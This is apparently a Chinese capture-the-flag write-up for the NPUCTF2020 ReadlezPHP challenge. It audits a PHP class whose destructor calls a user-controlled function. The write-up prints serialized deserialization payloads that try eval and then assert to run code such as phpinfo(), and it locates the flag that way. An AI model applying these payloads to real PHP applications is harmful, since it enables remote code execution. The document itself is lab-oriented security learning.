当前位置:网站首页>[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ReadlezPHP
2022-07-06 09:15:00 【Her&mes】
WP
如有不对,还请指正
进入靶机环境,走流程:
1.看源码
2.手动尝试访问几个常见的网页名,
3.用dirsearch扫网站。
直接在源码中发现一个链接:
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
访问/time.php?source,这下进入题目大门了,白盒审计,看起来是一道比较简单的反序列化
白盒代码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
尝试构造payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
然后就没有然后了,页面回显“500,无法处理请求”,我无了,有过滤,那换代码,构造payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:4:"eval";}
和之前一样,无法处理请求,可是var_dump()一般来讲应该不会被过滤,可能是eval被过滤,换成assert试试
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:6:"assert";}
成功,页面回显int(10) 2021-04-07 12:39:47
把var_dump(10)换成phpinfo(),(记得改大小),很好,phpinfo没有被过滤,看disable_functions栏,过滤了system,exec,shell_exec
再尝试搜索flag,ohhhhhhhhhh,还真有(这要是空过去了…论好习惯的重要性)。
PS:assert从7.2开始不再支持字符串=>不能执行PHP代码了(本题目在BUU上是PHP/7.0.33)
边栏推荐
- UDS learning notes on fault codes (0x19 and 0x14 services)
- 人脸识别 face_recognition
- Django running error: error loading mysqldb module solution
- Did you forget to register or load this tag 报错解决方法
- Tcp/ip protocol (UDP)
- 基于apache-jena的知识问答
- 解决安装Failed building wheel for pillow
- Kept VRRP script, preemptive delay, VIP unicast details
- [ahoi2009]chess Chinese chess - combination number optimization shape pressure DP
- QT creator create button
猜你喜欢
随机推荐
Leetcode 461 Hamming distance
Vs2019 use wizard to generate an MFC Application
图像识别问题 — pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path
Introduction and use of automatic machine learning framework (flaml, H2O)
Deoldify project problem - omp:error 15:initializing libiomp5md dll,but found libiomp5md. dll already initialized.
TCP/IP协议(UDP)
Software testing - interview question sharing
AcWing 1298. Solution to Cao Chong's pig raising problem
Solve the problem of installing failed building wheel for pilot
Record a problem of raspberry pie DNS resolution failure
Machine learning -- census data analysis
MySQL and C language connection (vs2019 version)
误删Path变量解决
Codeforces Round #753 (Div. 3)
Vs2019 first MFC Application
[free setup] asp Net online course selection system design and Implementation (source code +lunwen)
Project practice - background employee information management (add, delete, modify, check, login and exit)
Deoldify项目问题——OMP:Error#15:Initializing libiomp5md.dll,but found libiomp5md.dll already initialized.
数据库高级学习笔记--SQL语句
About string immutability








